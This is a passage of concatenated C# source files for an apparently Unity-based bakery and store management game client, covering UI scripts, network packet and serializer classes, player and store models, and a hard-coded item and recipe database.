scrollBarItemImage.sprite = Resources.Load<Sprite>( "ItemImage\\ItemIconBreadBream" );
break;
case "BreadCastela":
scrollBarItemImage.sprite = Resources.Load<Sprite>( "ItemImage\\ItemIconBreadCastela" );
break;
case "BreadHarbang":
scrollBarItemImage.sprite = Resources.Load<Sprite>( "ItemImage\\ItemIconBreadHarbang" );
break;
case "BreadMoka":
scrollBarItemImage.sprite = Resources.Load<Sprite>( "ItemImage\\ItemIconBreadMoka" );
break;
}
}
public void UpdateUIComponent()
{
}
public void OnClickCreatePopUp()
{
createPopUp.SetActive( !createPopUp.activeSelf );
}
public void OnClickInventoryPopUp()
{
inventoryPopUp.SetActive( !inventoryPopUp.activeSelf );
}
}<file_sep>using UnityEngine;
using UnityEngine.UI;
using UnityEngine.EventSystems;
using System.Collections;
using System;
public class RecipeItemSet: MonoBehaviour
{
[SerializeField] RecipeDisplayItem[] recipeItem;
[SerializeField] ItemView itemView;
private GameObject[] recipeItemCountObject;
public void LinkComponentElement()
{
recipeItem = GetComponentsInChildren<RecipeDisplayItem>();
itemView.LinkComponentElement();
}
//middle bridge part method;
public void SendItemViewItemUpdate( Item selectedData, Player playerData )
{
itemView.UpdateProducingIteamInfo( selectedData );
int i = 0;
foreach ( RecipeDisplayItem element in recipeItem )
{
try
{
element.UpdateComponent( selectedData.Recipe[i], selectedData.RecipeCount[i], playerData );
}
catch ( Exception e )
{
Debug.Log( e.StackTrace );
Debug.Log( e.Message );
element.ClearComponent();
}
finally
{
i++;
}
}
}
}
<file_sep>using System;
public class LoginRequestPacket : Packet<LoginRequestData, LoginRequestSerializer>
{
// constructor - packet data
public LoginRequestPacket( LoginRequestData data )
{
// allocate serialier
serializer = new LoginRequestSerializer();
// allocate data
dataElement = data;
}
// constructor - byte stream
public LoginRequestPacket( byte[] data )
{
// allocate serializer
serializer = new LoginRequestSerializer();
serializer.SetDeserializedData( data );
// allocate data
dataElement = new LoginRequestData();
// deserialize data
serializer.Deserialize( ref dataElement );
}
// return data set
public override LoginRequestData GetData()
{
return dataElement;
}
// return packet data -> packet id
public override int GetPacketID()
{
return (int) ClientToServerPacket.LoginRequest;
}
// return packet data -> byte stream data section
public override byte[] GetPacketData()
{
serializer.Serialize( dataElement );
return serializer.GetSerializeData();
}
}<file_sep>using System;
public class StoreCreateRequestPacket : Packet <StoreCreateRequestData, StoreCreateRequestSerializer>
{
// constructor - packet data
public StoreCreateRequestPacket(StoreCreateRequestData data)
{
// allocate serializer
serializer = new StoreCreateRequestSerializer();
// allocate data
dataElement = data;
}
// constructor - byte stream
public StoreCreateRequestPacket(byte[] data)
{
// allocate serializer
serializer = new StoreCreateRequestSerializer();
serializer.SetDeserializedData(data);
// allocate data
dataElement = new StoreCreateRequestData();
// deserialize data
serializer.Deserialize(ref dataElement);
}
// return data set
public override StoreCreateRequestData GetData()
{
return dataElement;
}
// return packet data -> packet id
public override int GetPacketID()
{
return (int)ClientToServerPacket.StoreCreateRequest;
}
// return packet data -> byte stream data section
public override byte[] GetPacketData()
{
serializer.Serialize(dataElement);
return serializer.GetSerializeData();
}
}
<file_sep>using UnityEngine;
using UnityEngine.UI;
using System.Collections;
// step, game stage
public class GameViewFirstStep : MonoBehaviour
{
//[SerializeField] GameManager manager;
[SerializeField] ProduceMain produceMain;
[SerializeField] SellViewSet sellMain;
[SerializeField] Image backGround;
// link component element
public void Awake()
{
produceMain.LinkComponentElement();
sellMain.LinkComponentElement();
backGround = transform.Find( "BackGround" ).GetComponent<Image>();
}
public void UpdateUIComponent()
{
}
}
<file_sep>using UnityEngine;
using UnityEngine.UI;
using System;
using System.Collections;
public class StoreSelectView : MonoBehaviour
{
// field
[SerializeField] Text selectedStoreName;
[SerializeField] StoreElement[] storeElementSet;
[SerializeField] GameManager manager;
// game object type field
[SerializeField] GameObject storeCreatePopUp;
void Awake()
{
LinkComponentElement();
}
// link component element
public void LinkComponentElement()
{
selectedStoreName = GetComponentInChildren<Text>();
storeElementSet = GetComponentsInChildren<StoreElement>();
manager = GameObject.Find( "GameLogic" ).GetComponent<GameManager>();
storeCreatePopUp = transform.Find( "StoreCreatePopUp" ).gameObject;
storeCreatePopUp.SetActive( false );
}
// update this ui component
public void UpdateUIComponent()
{
int i = 0;
foreach ( StoreElement element in storeElementSet )
{
try
{
element.UpdateStoreElement( manager.PlayerData.HaveStore[i] );
}
catch ( ArgumentException e )
{
element.ClearComponent();
}
finally
{
i++;
}
}
}
// set present store in game manager
public void SetPresentStore( Store data )
{
manager.SetPresentStore( data );
}
// on click method -> pop up create store
public void OnClickCreateStore()
{
storeCreatePopUp.SetActive( true );
}
// on click method -> start game
public void OnClickStartGame()
{
manager.GameStart();
}
}
<file_sep>using System;
using System.Collections.Generic;
using UnityEngine;
[System.Serializable]
public class Store
{
// primary key
[SerializeField] string storeID;
// elements
[SerializeField] string name;
[SerializeField] StoreType type;
[SerializeField] int step;
[SerializeField] float presentEXP;
[SerializeField] float requireEXP;
[SerializeField] List<Item> createItem;
[SerializeField] DecorateObject allocatedObject;
// property
public string ID { get { return storeID; } }
public string StoreName { get { return name; } }
public StoreType Type { get { return type; } }
public int Step { get { return step; } set { step = value; } }
public float PresentEXP { get { return presentEXP; } set { presentEXP = value; } }
public float RequireEXP { get { return requireEXP; } set { requireEXP = value; } }
public float FillEXP { get { return ( presentEXP / requireEXP ); } }
public List<Item> CreateItemSet { get { return createItem; } }
public enum StoreType : int
{
Default = 0,
Bakery = 1,
Cafe = 2,
FastFoodRestaurant = 3,
Bar = 4}
;
public enum StoreStep : int
{
Select = 0,
First = 1,
Second = 2,
Third = 3
}
public Store()
{
createItem = new List<Item>();
}
public Store( string _name, StoreType _type )
{
name = _name;
type = _type;
createItem = new List<Item>();
}
public Store( string _id, string _name, StoreType _type, int _step, float _presentEXP, float _requireEXP )
{
storeID = _id;
name = _name;
type = _type;
step = _step;
presentEXP = _presentEXP;
requireEXP = _requireEXP;
createItem = new List<Item>();
}
public Store( Store data )
{
storeID = data.storeID;
name = data.name;
type = data.type;
step = data.step;
presentEXP = data.presentEXP;
requireEXP = data.requireEXP;
createItem = data.createItem;
createItem = new List<Item>();
}
public Store( StoreData data )
{
storeID = data.storeID;
name = data.storeName;
type = SetStoreType( (int) data.storeType );
step = data.step;
presentEXP = data.presentEXP;
requireEXP = data.requireEXP;
Store tempDataSet = new Store( Database.Instance.FindStoreUseID( storeID ) );
createItem = tempDataSet.createItem;
}
public static StoreType SetStoreType( int type )
{
switch ( type )
{
case 1:
return StoreType.Bakery;
case 2:
return StoreType.Cafe;
case 3:
return StoreType.FastFoodRestaurant;
case 4:
return StoreType.Bar;
}
return StoreType.Default;
}
public static StoreStep SetStoreStep( int step )
{
switch ( step )
{
case 1:
return StoreStep.First;
case 2:
return StoreStep.Second;
case 3:
return StoreStep.Third;
}
return StoreStep.Select;
}
public void AddItemList( Item data )
{
createItem.Add( data );
}
}
<file_sep>using UnityEngine;
using UnityEngine.UI;
using UnityEngine.EventSystems;
using System.Collections;
using System;
public class ProducedItem : MonoBehaviour
{
//[SerializeField] private Player playerinfo;
[SerializeField] PlayerDisplayItem[] producedItemList;
[SerializeField] private Player playerdata;
[SerializeField] Item selectItem;
//sellectItem coll;
public void PlayerHaveItemUpdata( Player data )
{
// producedItemList = new PlayerDisplayItem[data.HaveItem.Count];
// for ( int i = 0; i < playerdata.HaveItem.Count; i++ )
// {
// producedItemList[i].LinkComponentElement();
// producedItemList[i].UpdateComponentElement( data.HaveItem[i] );
// }
producedItemList = GetComponentsInChildren<PlayerDisplayItem> ();
}
public void LinkComponentElement()
{
producedItemList = GetComponentsInChildren<PlayerDisplayItem> ();
selectItem = transform.GetComponentInParent<SellViewSet>().GetSellSelectItem();
PlayerHaveItemUpdata (playerdata);
}
public void SelectItem(Item selectedItemData)
{
selectItem = selectedItemData;
for (int i = 0; i < producedItemList.Length; i++)
{
if (producedItemList [i].ThisItem == selectItem) {
producedItemList [i].IsSelected = true;
Debug.Log ("this infomation get form ProduceItemListClick -> ProduceItemList and Send to DisplayItem[i] sellect check;");
}
else if (producedItemList [i].ThisItem != selectItem)
{
producedItemList [i].IsSelected = false;
}
Debug.Log (producedItemList [0].IsSelected);
}
}
//playerdata = GameObject.Find ("GameManager").GetComponent<GameManager> ().PlayerData;
//public void HaveItemUpdate(Player playerdate){
// for(int i = 0; i < playerdate.HaveItem.Length; i++)
// {
// if (playerdate.HaveItem [i].Name == null) {
// break;
// }
// producedItemImage [i].sprite = Resources.Load<Sprite> ("ItemIcon/" + playerdate.HaveItem [i].Name);
// }
// Debug.Log (playerdate.HaveItem [0].Name);
// public void OnPointerDown(PointerEventData eventdata){
//selectItem.SellSelectItem (eventdata);
//Debug.Log("a"); clear;
//for (int count = 0; count < producedItemName.Length; count++) {
//string producedItemNameSearch = "ProducedItemImage" + (count).ToString ();
// if (eventdata.pointerCurrentRaycast.gameObject.name == producedItemNameSearch) {
// selectObject = eventdata.pointerCurrentRaycast.gameObject;
//
// }
}
<file_sep>using System;
public enum ServerToClientPacket : int
{
JoinResult = 1,
LoginResult = 2,
MoneyData = 3,
StoreData = 4,
ItemData = 5,
StoreCreateResult = 6,
ItemCreateResult = 7,
ItemAcquireResult = 8,
ItemSellResult = 9
}
// Packet ID : 1 -> Login Result Data
public class JoinResultData
{
public bool joinResult;
public string message;
}
// Packet ID : 2 -> Login Result Data
public class LoginResultData
{
public bool loginResult;
public string message;
}
// Packet ID : 3 -> Money Data
public class MoneyData
{
public int money;
}
// Packet ID : 4 -> Store Data
public class StoreData
{
public string storeID;
public string playerID;
public string storeName;
public byte storeType;
public byte step;
public float presentEXP;
public float requireEXP;
}
// Packet ID : 5 -> Item Data
public class ItemData
{
public string itemID;
public string playerID;
public string itemName;
public byte storeType;
public short count;
public int price;
public bool isSell;
public int sellPrice;
public short sellCount;
}
// Packet ID : 6 -> Store Create Result Data
public class StoreCreateResultData
{
public bool createResult;
public string message;
}
// Packet ID : 7 -> Item Create Result Data
public class ItemCreateResultData
{
public bool createResult;
public string message;
}
// Packet ID : 8 -> Item Acquire Result
public class ItemAcquireResultData
{
public bool acquireResult;
public string message;
}
// Packet ID : 9 -> Item Sell Result
public class ItemSellResultData
{
public bool sellResult;
public string message;
}
<file_sep>using UnityEngine;
using UnityEngine.UI;
using UnityEngine.Events;
using System.Collections;
public class DisplayItem : MonoBehaviour
{
[SerializeField] protected Text itemText;
[SerializeField] protected Image itemImage;
[SerializeField] protected bool isSelected;
[SerializeField] protected Item thisItem;
public Text Itemtext { get { return itemText; } }
public bool IsSelected { get { return isSelected; } set { isSelected = value; } }
public Item ThisItem { get { return thisItem; } }
public void LinkComponentElement()
{
itemText = GetComponent<Text>();
itemImage = GetComponent<Image>();
isSelected = false;
}
public void UpdateComponentElement( Item Itemdata )
{
thisItem = Itemdata;
itemText.text = Itemdata.Name;
itemImage.sprite = Resources.Load<Sprite>( "ItemIcon/" + Itemdata.Name );
}
public void UpdateComponentElement( Player Playerdata )
{
//resources background folder
//nameBackGound.sprite = Resources.Load<Sprite>("asdf/" + Plyaerdata.store);
//imageBackGound.sprite = Resources.Load<Sprite>("asdf/"+Playerdata.store);
}
//click Button, this method play a part produceMain method coll;
public void ClickDisPlayItemSelect()
{
ProduceMain produceMain = gameObject.GetComponentInParent<ProduceMain>();
produceMain.ProduceItemListClick( thisItem );
Debug.Log( "ClickDisplayItemSelect" );
}
}
<file_sep>using UnityEngine;
using System.Collections;
public class ElfCharacter : MonoBehaviour
{
[SerializeField] Vector3 destination;
[SerializeField] Animator elfAnimator;
[SerializeField] AnimatorStateInfo AniInfo;
[SerializeField] GameObject Pet;
[SerializeField] NavMeshAgent moveAgent;
[SerializeField] public bool makeTime;
[SerializeField] public bool isStopMat = false;
[SerializeField] public int Lv;
[SerializeField] GameViewSecondStep auction;
public enum ElfPatternName
{
Idle = 1,
Run,
Motion}
;
public Vector3 Destination
{
get{ return destination; }
set { destination = value; }
}
// Use this for initialization
void Start()
{
destination = transform.position;
elfAnimator = GetComponent<Animator>();
moveAgent = GetComponent<NavMeshAgent>();
// auction = GameObject.Find ("SecondStepUI").GetComponent<SecondStepUI> ();
}
void PetActiveFalse()
{
Pet.SetActive( false );
if( isStopMat )
{
transform.rotation = new Quaternion( transform.rotation.x, 180, transform.rotation.z, 0 );
if( Vector3.Distance( destination, transform.position ) <= 1.1f )
{
makeTime = true;
}
}
if( isStopMat && makeTime )
{
elfPattern( ElfPatternName.Motion );
}
}
// Update is called once per frame
void Update()
{
if( !makeTime )
{
transform.position = new Vector3( transform.position.x, 0, transform.position.z );
AniInfo = this.elfAnimator.GetCurrentAnimatorStateInfo( 0 );
if( Vector3.Distance( destination, transform.position ) <= 1.1f )
{
elfPattern( ElfPatternName.Idle );
moveAgent.ResetPath();
transform.position = new Vector3( transform.position.x, transform.position.y, transform.position.z );
}
else if( Vector3.Distance( destination, transform.position ) >= 1.1f )
{
elfPattern( ElfPatternName.Run );
if( AniInfo.IsName( "Run" ) )
{
Pet.SetActive( true );
moveAgent.SetDestination( Destination );
transform.position = new Vector3( transform.position.x, transform.position.y + 0.55f, transform.position.z );
}
}
}
else
{
elfPattern( ElfPatternName.Motion );
}
}
public void elfPattern( ElfPatternName Status )
{
switch ( Status )
{
case ElfPatternName.Idle:
elfAnimator.SetInteger( "state", 1 );
break;
case ElfPatternName.Run:
elfAnimator.SetInteger( "state", 2 );
break;
case ElfPatternName.Motion:
elfAnimator.SetInteger( "state", 3 );
break;
}
}
public void MakeTime( bool state )
{
if( state )
{
makeTime = true;
}
else
{
makeTime = false;
}
}
}<file_sep>using System;
public class StoreDataSerializer : Serializer
{
// serialize store data
public bool Serialize(StoreData data)
{
// clear buffer
Clear();
//serialize element
bool result = true;
result &= Serialize(data.storeType);
result &= Serialize(data.step);
result &= Serialize(data.presentEXP);
result &= Serialize(data.requireEXP);
result &= Serialize(data.playerID);
result &= Serialize(".");
result &= Serialize(data.storeID);
result &= Serialize(".");
result &= Serialize(data.storeName);
// failure serialize -> method exit
if (!result)
return false;
// success serialize -> return result
return result;
}
// deserialize store data
public bool Deserialize(ref StoreData data)
{
// set deserialize data
bool result = (GetDataSize() > 0) ? true : false;
// data read failure -> method exit
if (!result)
return false;
// return data initialize
byte storeType = 0;
byte step = 0;
float presentEXP = 0.0f;
float requireEXP = 0.0f;
// remain data deserialize
result &= Deserialize(ref storeType);
result &= Deserialize(ref step);
result &= Deserialize(ref presentEXP);
result &= Deserialize(ref requireEXP);
// input data
data.storeType = storeType;
data.step = step;
data.presentEXP = presentEXP;
data.requireEXP = requireEXP;
// packet -> multiple string -> seperate string
string linkedString;
result &= Deserialize(out linkedString, (int)GetDataSize());
string[] dataSet = linkedString.Split('.');
// input data
data.playerID = dataSet[0];
data.storeID = dataSet[1];
data.storeName = dataSet[2];
// return result
return result;
}
}<file_sep>using System;
using System.IO;
public class Serializer
{
protected MemoryStream memoryBuffer = null;
protected int memoryOffset = 0;
// constructor -> default parameter
public Serializer()
{
memoryBuffer = new MemoryStream();
}
// return memory buffer
public byte[] GetSerializeData()
{
return memoryBuffer.ToArray();
}
// set deserialize data
public bool SetDeserializedData(byte[] data)
{
// clear buffer
Clear();
try
{
memoryBuffer.Write(data, 0, data.Length);
}
catch (NullReferenceException e)
{
Console.WriteLine(e.Message);
Console.WriteLine(e.Data);
return false;
}
return true;
}
// return memory offset
public long GetDataSize()
{
return memoryBuffer.Length;
}
// clear buffer
public void Clear()
{
byte[] buffer = memoryBuffer.GetBuffer();
Array.Clear(buffer, 0, buffer.Length);
memoryBuffer.Position = 0;
memoryBuffer.SetLength(0);
memoryOffset = 0;
}
// write buffer -> serialize data write
protected bool WriteBuffer(byte[] data, int size)
{
try
{
memoryBuffer.Position = memoryOffset;
memoryBuffer.Write(data, 0, size);
memoryOffset += size;
}
catch (NullReferenceException e)
{
Console.WriteLine(e.Message);
Console.WriteLine("Serializer : Null Reference Expection - On Write Buffer");
return false;
}
return true;
}
// read buffer -> data read and deserialize data
protected bool ReadBuffer(ref byte[] data, int size)
{
try
{
memoryBuffer.Position = memoryOffset;
memoryBuffer.Read(data, 0, size);
memoryOffset += size;
}
catch
{
return false;
}
return true;
}
// serialize data
// serialize - bool
protected bool Serialize(bool element)
{
byte[] data = BitConverter.GetBytes(element);
return WriteBuffer(data, sizeof(bool));
}
// serialize - byte
protected bool Serialize(byte element)
{
byte[] data = new byte[1];
data[0] = element;
return WriteBuffer(data, sizeof(byte));
}
// serialize - short
protected bool Serialize(short element)
{
byte[] data = BitConverter.GetBytes(element);
return WriteBuffer(data, sizeof(short));
}
// serialize - ushort
protected bool Serialize(ushort element)
{
byte[] data = BitConverter.GetBytes(element);
return WriteBuffer(data, sizeof(ushort));
}
// serialize - int
protected bool Serialize(int element)
{
byte[] data = BitConverter.GetBytes(element);
return WriteBuffer(data, sizeof(int));
}
// serialize - uint
protected bool Serialize(uint element)
{
byte[] data = BitConverter.GetBytes(element);
return WriteBuffer(data, sizeof(uint));
}
// serialize - long
protected bool Serialize(long element)
{
byte[] data = BitConverter.GetBytes(element);
return WriteBuffer(data, sizeof(long));
}
// serialize - ulong
protected bool Serialize(ulong element)
{
byte[] data = BitConverter.GetBytes(element);
return WriteBuffer(data, sizeof(ulong));
}
// serialize - float
protected bool Serialize(float element)
{
byte[] data = BitConverter.GetBytes(element);
return WriteBuffer(data, sizeof(float));
}
// serialize - double
protected bool Serialize(double element)
{
byte[] data = BitConverter.GetBytes(element);
return WriteBuffer(data, sizeof(double));
}
// serialize - byte array
protected bool Serialize(byte[] element, int length)
{
return WriteBuffer(element, length);
}
// serialize - string
protected bool Serialize(string element)
{
byte[] data = System.Text.Encoding.Unicode.GetBytes(element);
return WriteBuffer(data, data.Length);
}
// deserialize data
// deserialize - bool
protected bool Deserialize(ref bool element)
{
int size = sizeof(bool);
byte[] data = new byte[size];
bool result = ReadBuffer(ref data, data.Length);
if (result)
{
element = BitConverter.ToBoolean(data, 0);
return true;
}
return false;
}
// deserialize - byte
protected bool Deserialize(ref byte element)
{
int size = sizeof(byte);
byte[] data = new byte[size];
bool result = ReadBuffer(ref data, data.Length);
if (result)
{
element = data[0];
return true;
}
return false;
}
// deserialize - short
protected bool Deserialize(ref short element)
{
int size = sizeof(short);
byte[] data = new byte[size];
bool result = ReadBuffer(ref data, data.Length);
if (result)
{
element = BitConverter.ToInt16(data, 0);
return true;
}
return false;
}
// deserialize - ushort
protected bool Deserialize(ref ushort element)
{
int size = sizeof(ushort);
byte[] data = new byte[size];
bool result = ReadBuffer(ref data, data.Length);
if (result)
{
element = BitConverter.ToUInt16(data, 0);
return true;
}
return false;
}
// deserialize - int
protected bool Deserialize(ref int element)
{
int size = sizeof(int);
byte[] data = new byte[size];
bool result = ReadBuffer(ref data, data.Length);
if (result)
{
element = BitConverter.ToInt32(data, 0);
return true;
}
return false;
}
// deserialize - uint
protected bool Deserialize(ref uint element)
{
int size = sizeof(uint);
byte[] data = new byte[size];
bool result = ReadBuffer(ref data, data.Length);
if (result)
{
element = BitConverter.ToUInt32(data, 0);
return true;
}
return false;
}
// deserialize - long
protected bool Deserialize(ref long element)
{
int size = sizeof(long);
byte[] data = new byte[size];
bool result = ReadBuffer(ref data, data.Length);
if (result)
{
element = BitConverter.ToInt64(data, 0);
return true;
}
return false;
}
// deserialize - ulong
protected bool Deserialize(ref ulong element)
{
int size = sizeof(ulong);
byte[] data = new byte[size];
bool result = ReadBuffer(ref data, data.Length);
if (result)
{
element = BitConverter.ToUInt64(data, 0);
return true;
}
return false;
}
// deserialize - float
protected bool Deserialize(ref float element)
{
int size = sizeof(float);
byte[] data = new byte[size];
bool result = ReadBuffer(ref data, data.Length);
if (result)
{
element = BitConverter.ToSingle(data, 0);
return true;
}
return false;
}
// deserialize - double
protected bool Deserialize(ref double element)
{
int size = sizeof(double);
byte[] data = new byte[size];
bool result = ReadBuffer(ref data, data.Length);
if (result)
{
element = BitConverter.ToDouble(data, 0);
return true;
}
return false;
}
// deserialize - byte array
protected bool Deserialize(ref byte[] element, int length)
{
bool result = ReadBuffer(ref element, length);
if (result)
{
return true;
}
return false;
}
// deserialize - string
protected bool Deserialize(out string element, int length)
{
byte[] data = new byte[length];
bool result = ReadBuffer(ref data, length);
if (result)
{
element = System.Text.Encoding.Unicode.GetString(data);
return true;
}
element = null;
return false;
}
}<file_sep>using System;
using System.Collections.Generic;
using UnityEngine;
[System.Serializable]
public class Player
{
//key value
string playerID;
//dependant value
string password;
string name;
int money;
[SerializeField] List<Store> haveStore;
[SerializeField] List<Item> haveItem;
DecorateObject haveDecorateObject;
// property
public string ID { get { return playerID; } set { playerID = value; } }
public string Password { get { return password; } set { password = value; } }
public string Name { get { return name; } set { name = value; } }
public int Money { get { return money; } set { money = value; } }
public List<Store> HaveStore { get { return haveStore; } }
public List<Item> HaveItem { get { return haveItem; } }
public Player()
{
haveStore = new List<Store>();
haveItem = new List<Item>();
}
//constructor -> id, password parameter
public Player( string _playerID, string _password )
{
playerID = _playerID;
password = _<PASSWORD>;
haveStore = new List<Store>();
haveItem = new List<Item>();
}
// find store - use ui
public Store FindStoreByID( string id )
{
foreach ( Store element in haveStore )
if( element.ID == id )
return element;
return null;
}
// find store - use update
public bool FindStoreByID( string id, ref Store data )
{
foreach ( Store element in haveStore )
{
if( element.ID == id )
{
data = element;
return true;
}
}
data = null;
return false;
}
// set store
public void UpdateStore( StoreData data )
{
Store tempData = new Store();
if( FindStoreByID( data.storeID, ref tempData ) )
{
tempData.Step = data.step;
tempData.PresentEXP = data.presentEXP;
tempData.RequireEXP = data.requireEXP;
}
else
{
tempData = new Store( data );
haveStore.Add( tempData );
}
}
// find item - use ui
public Item FindItemByID( string id )
{
foreach ( Item element in haveItem )
if( element.ID == id )
return element;
return null;
}
// find item - use update
public bool FindItemByID( string id, ref Item data )
{
foreach ( Item element in haveItem )
{
if( element.ID == id )
{
data = element;
return true;
}
}
data = null;
return false;
}
// set item
public void UpdateItem( ItemData data )
{
Item tempData = new Item();
if( FindItemByID( data.itemID, ref tempData ) )
{
tempData.Count = data.count;
tempData.OnSell = data.isSell;
tempData.SellPrice = data.sellPrice;
tempData.SellCount = data.sellCount;
}
else
{
tempData = new Item( data );
haveItem.Add( tempData );
}
}
}
<file_sep>using UnityEngine;
using System.Collections;
public class UIManager : MonoBehaviour
{
public Mode presentMode;
public GameObject storeCreate;
public StoreCreate storeCreateLogic;
public GameObject storeSelect;
public StoreSelectView storeSelectLogic;
public enum Mode
{
CreateStore,
SelectStore}
;
public Mode PresentMode
{
get { return presentMode; }
}
public bool OnStoreCreate
{
get{ return storeCreate.activeSelf; }
}
public void LinkElement()
{
storeCreate = GameObject.Find( "StoreCreate" );
storeCreateLogic = storeCreate.GetComponent<StoreCreate>();
storeSelect = GameObject.Find( "MainStatus" );
storeSelectLogic = storeSelect.GetComponent<StoreSelectView>();
}
public void ChangeUIMode( Mode UIMode )
{
switch ( UIMode )
{
case Mode.CreateStore:
presentMode = Mode.CreateStore;
InitializeModeCreateStore();
break;
case Mode.SelectStore:
presentMode = Mode.SelectStore;
InitializeModeSelectStore();
break;
}
}
public void InitializeModeCreateStore()
{
storeSelect.SetActive( false );
storeCreate.SetActive( true );
}
public void InitializeModeSelectStore()
{
storeSelect.SetActive( true );
storeCreate.SetActive( false );
//Destroy (GameObject.Find("CreateOrSelect"),0.1f);
}
void Start()
{
LinkElement();
storeCreate.SetActive( false );
}
}
<file_sep>using UnityEngine;
using System;
using System.Collections;
using System.Collections.Generic;
public class Database
{
private Dictionary<string , Item> itemInformation;
private Dictionary<string , Store> storeInformation;
private static Database databaseInstance = null;
static Database()
{
databaseInstance = new Database();
}
private Database()
{
itemInformation = new Dictionary<string, Item>();
storeInformation = new Dictionary<string, Store>();
InputItemData();
InputStoreData();
}
public static Database Instance { get { return databaseInstance; } }
void InputItemData()
{
string[] recipe;
int[] recipeCount;
// set igd item input;
itemInformation.Add( "igd0001", new Item( "igd0001", "water", 0, 0f, null, null, false, 50, Store.StoreType.Bakery ) );
itemInformation.Add( "igd0002", new Item( "igd0002", "milk", 0, 0f, null, null, false, 50, Store.StoreType.Bakery ) );
itemInformation.Add( "igd0003", new Item( "igd0003", "condensedmilk", 0, 0f, null, null, false, 50, Store.StoreType.Bakery ) );
itemInformation.Add( "igd0004", new Item( "igd0004", "adzuki", 0, 0f, null, null, false, 50, Store.StoreType.Bakery ) );
itemInformation.Add( "igd0005", new Item( "igd0005", "rye", 0, 0f, null, null, false, 50, Store.StoreType.Bakery ) );
itemInformation.Add( "igd0006", new Item( "igd0006", "wheat", 0, 0f, null, null, false, 50, Store.StoreType.Bakery ) );
itemInformation.Add( "igd0007", new Item( "igd0007", "ham", 0, 0f, null, null, false, 50, Store.StoreType.Bakery ) );
itemInformation.Add( "igd0008", new Item( "igd0008", "sugar", 0, 0f, null, null, false, 50, Store.StoreType.Bakery ) );
//image - > resource -> itemImage;
// set field 1 set
itemInformation.Add( "pro0001", new Item( "pro0001", "hamBread", 500, 0, null, null, false, 0, Store.StoreType.Bakery ) );
// set field 2 set
recipe = new string[3];
recipe[0] = "igd0001";
recipe[1] = "igd0006";
recipe[2] = "igd0008";
recipeCount = new int[3];
recipeCount[0] = 2;
recipeCount[1] = 1;
recipeCount[2] = 1;
itemInformation.Add( "pro0002", new Item( "pro0002", "bambooBread", 1000, 10f, recipe, recipeCount, false, 100, Store.StoreType.Bakery ) );
recipe = new string[3];
recipe[0] = "igd0002";
recipe[1] = "igd0006";
recipe[2] = "igd0008";
recipeCount = new int[3];
recipeCount[0] = 2;
recipeCount[1] = 2;
recipeCount[2] = 1;
itemInformation.Add( "pro0003", new Item( "pro0003", "bageteBread", 1500, 3f, recipe, recipeCount, false, 50, Store.StoreType.Bakery ) );
recipe = new string[3];
recipe[0] = "igd0002";
recipe[1] = "igd0006";
recipe[2] = "igd0008";
recipeCount = new int[3];
recipeCount[0] = 2;
recipeCount[1] = 1;
recipeCount[2] = 3;
itemInformation.Add( "pro0004", new Item( "pro0004", "adzukiBread", 2000, 6f, recipe, recipeCount, false, 10, Store.StoreType.Bakery ) );
}
void InputStoreData()
{
Store temp;
// store0001
temp = new Store( "store0001", "bakery", Store.StoreType.Bakery, 1, 0, 2000f );
temp.AddItemList( FindItemUseID( "pro0001" ) );
temp.AddItemList( FindItemUseID( "pro0002" ) );
temp.AddItemList( FindItemUseID( "pro0003" ) );
storeInformation.Add( "store0001", temp );
// store0002
temp = new Store( "store0002", "coolcafe", Store.StoreType.Cafe, 1, 0, 2000f );
storeInformation.Add( "store0002", temp );
temp = new Store( "store0003", "hotbar", Store.StoreType.Bar, 1, 0, 2000f );
storeInformation.Add( "store0003", temp );
}
public Item FindItemUseID( string id )
{
// set item data
Item result = new Item();
itemInformation.TryGetValue( id, out result );
return result;
}
public Store FindStoreUseID( string id )
{
// set store data
Store result = new Store();
storeInformation.TryGetValue( id, out result );
return result;
}
}<file_sep>using System;
public class StoreDataPacket : Packet<StoreData, StoreDataSerializer>
{
// constructor - packet data
public StoreDataPacket(StoreData data)
{
// allocate serializer
serializer = new StoreDataSerializer();
// allocate data
dataElement = data;
}
// constructor - byte stream
public StoreDataPacket(byte[] data)
{
// allocate serializer
serializer = new StoreDataSerializer();
serializer.SetDeserializedData(data);
// allocate data
dataElement = new StoreData();
// deserialize data
serializer.Deserialize(ref dataElement);
}
// return data set
public override StoreData GetData()
{
return dataElement;
}
// return packet data -> packet id
public override int GetPacketID()
{
return (int)ServerToClientPacket.StoreData;
}
// return packet data -> byte stream data section
public override byte[] GetPacketData()
{
serializer.Serialize(dataElement);
return serializer.GetSerializeData();
}
}
<file_sep>using UnityEngine;
using System.Collections;
using System.Net;
using System.Net.Sockets;
public class GameManager : MonoBehaviour
{
[SerializeField] NetworkController networkProcessor;
[SerializeField] Player playerData;
[SerializeField] Store presentStore;
[SerializeField] bool isLogin;
[SerializeField] string serverIP;
[SerializeField] int serverPort;
[SerializeField] string id;
[SerializeField] string password;
[SerializeField] UserInterfaceController mainUI;
[SerializeField] LoginForm loginForm;
// property
public Player PlayerData { get { return playerData; } }
// unity method
// awake -> active this script
void Awake()
{
// create player data
playerData = new Player();
// set network data
networkProcessor = GetComponent<NetworkController>();
// set receive notifier
networkProcessor.RegisterServerReceivePacket( (int) ServerToClientPacket.JoinResult, ReceiveJoinResult );
networkProcessor.RegisterServerReceivePacket( (int) ServerToClientPacket.LoginResult, ReceiveLoginResult );
networkProcessor.RegisterServerReceivePacket( (int) ServerToClientPacket.MoneyData, ReceiveMoneyData );
networkProcessor.RegisterServerReceivePacket( (int) ServerToClientPacket.StoreData, ReceiveStoreData );
networkProcessor.RegisterServerReceivePacket( (int) ServerToClientPacket.ItemData, ReceiveItemData );
networkProcessor.RegisterServerReceivePacket( (int) ServerToClientPacket.StoreCreateResult, ReceiveStoreCreateResult );
networkProcessor.RegisterServerReceivePacket( (int) ServerToClientPacket.ItemCreateResult, ReceiveItemCreateResult );
networkProcessor.RegisterServerReceivePacket( (int) ServerToClientPacket.ItemAcquireResult, ReceiveItemAcquireResult );
networkProcessor.RegisterServerReceivePacket( (int) ServerToClientPacket.ItemSellResult, ReceiveItemSellResult );
isLogin = false;
presentStore = null;
}
// update
void Update()
{
if( isLogin )
{
id = playerData.ID;
password = playerData.Password;
}
else
{
serverIP = loginForm.IP;
serverPort = loginForm.Port;
id = loginForm.ID;
playerData.ID = id;
password = <PASSWORD>;
playerData.Password = <PASSWORD>;
}
mainUI.UIUpdate( playerData, presentStore );
}
// public method
// send data section
// send join requset
public void SendJoinRequest()
{
// connection start
networkProcessor.ConnectToServer( serverIP, serverPort );
// set data
JoinRequestData sendData = new JoinRequestData();
sendData.id = id;
sendData.password = <PASSWORD>;
